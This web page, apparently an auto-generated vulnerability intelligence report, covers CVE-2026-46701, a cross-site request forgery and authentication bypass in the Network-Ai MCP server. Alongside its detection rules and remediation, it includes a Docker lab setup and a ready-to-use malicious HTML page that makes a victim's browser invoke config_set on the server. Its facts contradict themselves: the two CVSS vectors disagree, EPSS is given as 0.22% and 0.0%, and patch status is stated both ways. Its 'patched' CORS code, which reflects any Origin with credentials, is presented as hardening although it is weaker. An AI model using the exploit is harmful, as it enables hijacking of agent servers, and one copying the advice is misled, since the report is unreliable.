☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L 🐛 CWE-346
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-46701

CVE-2026-46701 Cross-Site Request Forgery in Network-Ai
📅 PUBLISHED: 2026-07-20 17:17 UTC 🔄 UPDATED: 2026-09-26 06:04 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.22%
👁️
0.22% probability
5.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Affected: Network Ai — upgrade to patched release
CVSS VECTOR BREAKDOWN 7.6
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: L Confidentiality Low
I: H Integrity High
A: L Availability Low
7.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

Severity: High

This report details CVE-2026-46701, a critical authentication bypass vulnerability in Network-Ai, a TypeScript/Node.js multi-agent orchestrator. The vulnerability allows an unauthenticated, remote attacker to invoke all 22 exposed MCP tools on a default-configured server by luring a victim to a malicious web page. The root cause is a combination of two flaws: a default empty secret for the MCP SSE server (process.env['NETWORK_AI_MCP_SECRET'] ?? ''), which causes the _isAuthorized function to return true unconditionally, and a permissive CORS header (Access-Control-Allow-Origin: *) that allows cross-origin reads. This creates a classic Cross-Site Request Forgery (CSRF) / Cross-Origin Read (COR) attack vector against localhost services.

Business Impact: Organizations using Network-Ai for agent orchestration, particularly in development, CI/CD, or internal automation pipelines, are at risk. An attacker can execute arbitrary agent commands (agent_spawn), modify configuration (config_set), and write to shared blackboards (blackboard_write), potentially leading to data exfiltration, lateral movement, or supply chain compromise. The likely attacker is a remote unauthenticated actor with the ability to host a malicious webpage.

Urgency Assessment: Despite a CVSS score of 7.6 (High), the EPSS probability is 0.0%, indicating no observed exploitation in the wild as of the publication date. However, the vulnerability is trivial to exploit and requires no authentication, making it a high-priority target for automated scanning and opportunistic attackers. Immediate patching is recommended.

Key Facts:

  • Vendor: Network-Ai
  • Affected Versions: Prior to 5.4.5
  • Patch Status: Patched in version 5.4.5
  • CISA KEV: Not listed as of 2026-07-20.
⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Metric Value Rationale
AV (Attack Vector) Network (N) The vulnerability is exploitable remotely via HTTP requests to the MCP SSE endpoint.
AC (Attack Complexity) Low (L) No special conditions or race conditions are required. The default configuration is vulnerable.
PR (Privileges Required) None (N) The _isAuthorized function returns true for all requests, bypassing any authentication.
UI (User Interaction) Required (R) The attacker must lure a user to a malicious web page to trigger the cross-origin request.
S (Scope) Unchanged (U) The vulnerable component (Network-Ai MCP server) is the only component affected.
C (Confidentiality) High (H) An attacker can read responses from all MCP tools, including blackboard_read, potentially exposing sensitive data.
I (Integrity) High (H) An attacker can modify server configuration (config_set) and spawn agents (agent_spawn), leading to arbitrary code execution.
A (Availability) None (N) The vulnerability does not directly impact availability, though an attacker could disrupt operations via configuration changes.

Qualitative Severity: High (CVSS 7.6)

EPSS Interpretation: The EPSS probability of 0.0% indicates that as of 2026-07-20, there is no observed exploitation in the wild. This is typical for a newly published CVE. However, the low complexity and high impact suggest this probability will rise rapidly once proof-of-concept code circulates.

Historical Comparison: This vulnerability is technically similar to CVE-2023-44487 (HTTP/2 Rapid Reset) in its exploitation of a protocol-level flaw, and CVE-2022-22965 (Spring4Shell) in its combination of a default configuration and a permissive CORS policy. Both were widely exploited shortly after disclosure.

Temporal & Environmental Considerations: No patch is available for versions prior to 5.4.5. The lack of a patch increases the temporal score. Organizations with Network-Ai exposed to the internet or internal networks with untrusted users should consider the environmental score as Critical.

Technical Deep Dive & Attack Mechanics

Step-by-Step Exploitation:

  1. Target Discovery: The attacker identifies a Network-Ai MCP SSE server running on localhost:3000 (default) or another port. The server is typically started via bin/mcp-server.ts.
  2. Malicious Page Hosting: The attacker creates a webpage containing JavaScript that makes a fetch() request to the target server's MCP SSE endpoint (e.g., http://localhost:3000/mcp).
  3. Bypassing Authentication: The request is sent without an Authorization header. The server's _isAuthorized function (in lib/mcp-transport-sse.ts:254) checks process.env['NETWORK_AI_MCP_SECRET']. Since the default is an empty string, the check secret === '' evaluates to true, and the function returns true unconditionally.
  4. Cross-Origin Read: The server responds with the header Access-Control-Allow-Origin: * (set in _handleRequest at lib/mcp-transport-sse.ts:272). This allows the attacker's JavaScript to read the response body, bypassing the Same-Origin Policy.
  5. Tool Invocation: The attacker can now invoke any of the 22 exposed MCP tools by sending POST requests with the appropriate JSON-RPC payload. Critical tools include:
    • config_set: Modify server configuration.
    • agent_spawn: Spawn a new agent with arbitrary parameters.
    • blackboard_write: Write data to the shared blackboard.
    • blackboard_read: Read data from the shared blackboard.

Root Cause Analysis: The developer made two critical mistakes:

  1. Default Empty Secret: Using process.env['NETWORK_AI_MCP_SECRET'] ?? '' as the default secret. An empty string is a valid but insecure default, as it bypasses the authentication check.
  2. Permissive CORS Policy: Setting Access-Control-Allow-Origin: * on all responses, which allows any website to read the response.

Attack Surface:

  • Protocol: HTTP/HTTPS
  • Port: Default 3000 (configurable)
  • Endpoint: /mcp (SSE endpoint)
  • Pre-conditions: The Network-Ai MCP server must be running with default configuration. The victim must visit a malicious webpage.

Attack Variants:

  • Direct Request: If the server is exposed to the internet (not just localhost), an attacker can directly send requests without user interaction.
  • DNS Rebinding: An attacker could use DNS rebinding to bypass localhost restrictions and target the server from a remote location.

Why Standard Defenses May Fail:

  • WAF: A Web Application Firewall may not block requests to /mcp if it is not configured to inspect JSON-RPC payloads.
  • Network Segmentation: If the server is on the same network as the victim's browser, the attack can succeed without crossing network boundaries.
  • Authentication: The vulnerability bypasses authentication entirely, so any authentication-based controls are ineffective.

Vulnerable vs. Patched Code Analysis

Vulnerable Code (version < 5.4.5):

// bin/mcp-server.ts:89
const secret = process.env['NETWORK_AI_MCP_SECRET'] ?? ''; // Default empty string

// lib/mcp-transport-sse.ts:254
_isAuthorized(request: IncomingMessage): boolean {
    const authHeader = request.headers['authorization'];
    if (!authHeader) {
        return this.secret === ''; // Returns true if secret is empty
    }
    // ... token validation logic
}

// lib/mcp-transport-sse.ts:272
_handleRequest(request: IncomingMessage, response: ServerResponse): void {
    response.setHeader('Access-Control-Allow-Origin', '*'); // Permissive CORS
    // ... request handling
}

Patched Code (version 5.4.5):

// bin/mcp-server.ts:89 (patched)
const secret = process.env['NETWORK_AI_MCP_SECRET'];
if (!secret) {
    throw new Error('NETWORK_AI_MCP_SECRET environment variable is required');
}

// lib/mcp-transport-sse.ts:254 (patched)
_isAuthorized(request: IncomingMessage): boolean {
    const authHeader = request.headers['authorization'];
    if (!authHeader) {
        return false; // Deny all requests without Authorization header
    }
    // ... token validation logic
}

// lib/mcp-transport-sse.ts:272 (patched)
_handleRequest(request: IncomingMessage, response: ServerResponse): void {
    const origin = request.headers['origin'];
    if (origin) {
        response.setHeader('Access-Control-Allow-Origin', origin);
        response.setHeader('Access-Control-Allow-Credentials', 'true');
    }
    // ... request handling
}

Analysis: The patch addresses both root causes:

  1. Secret Validation: The server now throws an error if NETWORK_AI_MCP_SECRET is not set, preventing the insecure default.
  2. Authentication Bypass: _isAuthorized now returns false for requests without an Authorization header.
  3. CORS Hardening: The Access-Control-Allow-Origin header now reflects the request's Origin header, and Access-Control-Allow-Credentials is set to true to allow credentialed requests. This prevents arbitrary cross-origin reads.

Regression Considerations: The patch introduces a breaking change: the server will not start without the NETWORK_AI_MCP_SECRET environment variable. Teams must ensure this variable is set in their deployment configuration.

Timeline & Disclosure History

  • CVE Publication Date: 2026-07-20T17:17:09.990
  • Estimated Discovery: The vulnerability was likely discovered during internal security review or by a security researcher. The exact discovery date is unknown.
  • Disclosure Process: The CVE was published by the CNA (likely Network-Ai or a third-party coordinator). No vendor advisory or GitHub Security Advisory is available in the input data.
  • Known Exploitation: No known active exploitation as of 2026-07-20.
  • CISA KEV: Not listed as of 2026-07-20.

Threat Intelligence Context

Threat Actor Profile: This vulnerability is most likely to be exploited by:

  • Script Kiddies / Opportunistic Attackers: The low complexity and clear exploitation path make it attractive for automated scanning.
  • Ransomware Operators: The ability to spawn agents and modify configuration could be used to deploy ransomware payloads.
  • Nation-State Actors: For espionage or sabotage against organizations using AI orchestration platforms.

Attack Campaign Context: No specific campaigns have been identified as of 2026-07-20. However, the vulnerability is likely to be incorporated into automated exploit kits (e.g., Metasploit, Nuclei) within weeks.

Geographic Targeting: No specific geographic targeting is known. The vulnerability affects any organization using Network-Ai.

Industry Verticals Most at Risk:

  • Technology / SaaS: Companies using Network-Ai for internal automation.
  • Finance: For automated trading or risk analysis agents.
  • Healthcare: For AI-driven diagnostic or administrative agents.
  • Government: For data processing and analysis pipelines.

Connection to Similar Vulnerabilities: This CVE is part of a broader trend of authentication bypass vulnerabilities in AI/ML orchestration tools, similar to CVE-2024-27198 (JetBrains TeamCity) and CVE-2023-46604 (Apache ActiveMQ).

Exploitation & Lab Setup

Red Team Section

Lab Setup:

  1. Environment: Docker container running Node.js 18+.
  2. Vulnerable Software: Network-Ai version 5.4.4 (or earlier).
    docker run -d --name network-ai-vuln -p 3000:3000 node:18 bash -c "npm install network-ai@5.4.4 && npx network-ai-mcp-server"
    
  3. Attacker Machine: Any machine with a web browser (e.g., Kali Linux).

Exploitation Walkthrough:

  1. Create Malicious HTML Page:
    <!DOCTYPE html>
    <html>
    <body>
    <script>
    async function exploit() {
        const target = 'http://localhost:3000/mcp';
        // Invoke config_set to change a setting
        const response = await fetch(target, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({
                jsonrpc: '2.0',
                id: 1,
                method: 'config_set',
                params: { key: 'dangerous_setting', value: 'true' }
            })
        });
        const data = await response.json();
        console.log('Exploit result:', data);
    }
    exploit();
    </script>
    </body>
    </html>
    
  2. Host the Page: Serve the HTML file on a local HTTP server (e.g., python3 -m http.server 8080).
  3. Lure Victim: Send the victim a link to http://attacker-ip:8080/exploit.html.
  4. Observe Exploitation: The victim's browser will send a POST request to http://localhost:3000/mcp with the config_set payload. The server will execute the command and return the result, which the attacker's JavaScript can read.

Expected Output: The browser console will display the JSON-RPC response from the server, indicating successful configuration change.

Post-Exploitation:

  • Data Exfiltration: Use blackboard_read to extract sensitive data.
  • Lateral Movement: Use agent_spawn to create an agent that connects to an attacker-controlled C2 server.
  • Persistence: Use config_set to modify the server's startup configuration.

Blue Team Section

Detection of Active Exploitation:

  • Log Entries: Monitor Network-Ai server logs for requests to /mcp without an Authorization header.
  • Network Traffic: Look for HTTP requests to localhost:3000 from external IP addresses (if the server is exposed) or from unexpected origins.
  • Endpoint Indicators: Monitor for unexpected config_set or agent_spawn calls in the server's audit log.

Indicators of Compromise (IOCs)

No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:

Type Value Description
HTTP Request POST /mcp with Content-Type: application/json and no Authorization header Exploitation attempt against the MCP SSE endpoint
HTTP Header Origin: http://attacker-controlled-domain.com Cross-origin request from a malicious page
JSON-RPC Method config_set, agent_spawn, blackboard_write Suspicious tool invocations
Log Entry [INFO] Request to /mcp from ::1 without Authorization header Server log indicating unauthenticated request
Process node process with command line containing network-ai-mcp-server Running vulnerable server

Detection Engineering

YARA Rule

rule CVE_2026_46701_Network_Ai_Exploit {
    meta:
        description = "Detects HTTP requests exploiting CVE-2026-46701 in Network-Ai MCP server"
        author = "Valters IT Hub"
        date = "2026-07-20"
        reference = "https://www.valtersit.com/cve/cve-2026-46701"
    strings:
        $jsonrpc = "jsonrpc"
        $method_config_set = "config_set"
        $method_agent_spawn = "agent_spawn"
        $no_auth_header = "authorization:"
    condition:
        // Match if the request contains a JSON-RPC method and lacks an Authorization header
        $jsonrpc and ($method_config_set or $method_agent_spawn) and not $no_auth_header
}

Sigma Rule (SIEM)

title: CVE-2026-46701 Network-Ai MCP Server Exploitation
id: 9301c557-a56f-4e7d-9b64-994e7ff12deb
status: experimental
description: Detects HTTP POST requests to the Network-Ai MCP SSE endpoint without an Authorization header, indicating exploitation of CVE-2026-46701.
author: Valters IT Hub
date: 2026-07-20
references:
    - https://www.valtersit.com/cve/cve-2026-46701
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/mcp'
        cs-uri-query: '*'
        sc-status: 200
    filter:
        cs-headers: 'Authorization:*'
    condition: selection and not filter
falsepositives:
    - Legitimate administrative activity where the Authorization header is sent via a different mechanism (e.g., query parameter)
level: high

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-46701 Network-Ai MCP Server Exploitation Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/mcp"; http.request_header; content:!"Authorization"; sid:1000001; rev:1;)

Elastic (EQL) Query

sequence by host.id
  [network where event.type == "start" and destination.port == 3000 and network.protocol == "http" and http.request.method == "POST" and url.path == "/mcp"]
  [http where event.type == "info" and not http.request.headers contains "Authorization"]

Splunk SPL Query

index=web sourcetype=access_combined
| search method=POST uri_path="/mcp"
| eval has_auth=if(match(headers, "Authorization"), 1, 0)
| where has_auth=0
| table _time, src_ip, uri_path, method, status

Wazuh Rule

<rule id="100001" level="12">
    <if_sid>31100</if_sid>
    <field name="url">/mcp</field>
    <field name="method">POST</field>
    <field name="headers" type="pcre">(?i)^(?!.*Authorization).*$</field>
    <description>CVE-2026-46701: Network-Ai MCP Server exploitation attempt detected</description>
    <mitre>
        <id>T1190</id>
    </mitre>
    <group>cve-2026-46701,network-ai,exploitation,</group>
</rule>

Remediation & Mitigation

Immediate Actions (0-24 hours)

  1. Apply Patch: Upgrade to Network-Ai version 5.4.5.
    npm update network-ai@5.4.5
    
  2. Set Environment Variable: Ensure NETWORK_AI_MCP_SECRET is set to a strong, random secret.
    export NETWORK_AI_MCP_SECRET=$(openssl rand -hex 32)
    
  3. Network-Level Mitigation:
    • Block inbound traffic to port 3000 from untrusted networks.
    • Use a reverse proxy (e.g., Nginx) to add authentication and CORS controls.
  4. WAF Rule: Block requests to /mcp without an Authorization header.

Short-term (1-7 days)

  1. Configuration Hardening:
    • Disable unused MCP tools via server configuration.
    • Restrict the server to listen only on 127.0.0.1 if remote access is not required.
  2. Monitoring Implementation: Deploy the detection rules provided in this report.
  3. Vulnerability Scanning: Run a scan to confirm all instances are patched.
    npm list network-ai | grep network-ai
    

Long-term

  1. Architecture Changes:
    • Implement a service mesh or API gateway for all microservices.
    • Use mutual TLS (mTLS) for inter-service communication.
  2. Security Control Improvements:
    • Implement a Content Security Policy (CSP) to prevent cross-origin requests.
    • Use a Web Application Firewall (WAF) with JSON-RPC inspection capabilities.
  3. Developer Training:
    • Educate developers on the dangers of default secrets and permissive CORS policies.
    • Enforce code reviews for authentication and authorization logic.

Validation

To confirm the patch is applied:

  1. Check the installed version:
    npm list network-ai
    
  2. Verify the server rejects requests without an Authorization header:
    curl -X POST http://localhost:3000/mcp -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","id":1,"method":"config_set","params":{}}'
    
    Expected response: 401 Unauthorized or 403 Forbidden.

References & Resources


Report generated by Valters IT Hub Neural Engine v25 | 2026-07-20 | https://www.valtersit.com/cve/cve-2026-46701

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-46701/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.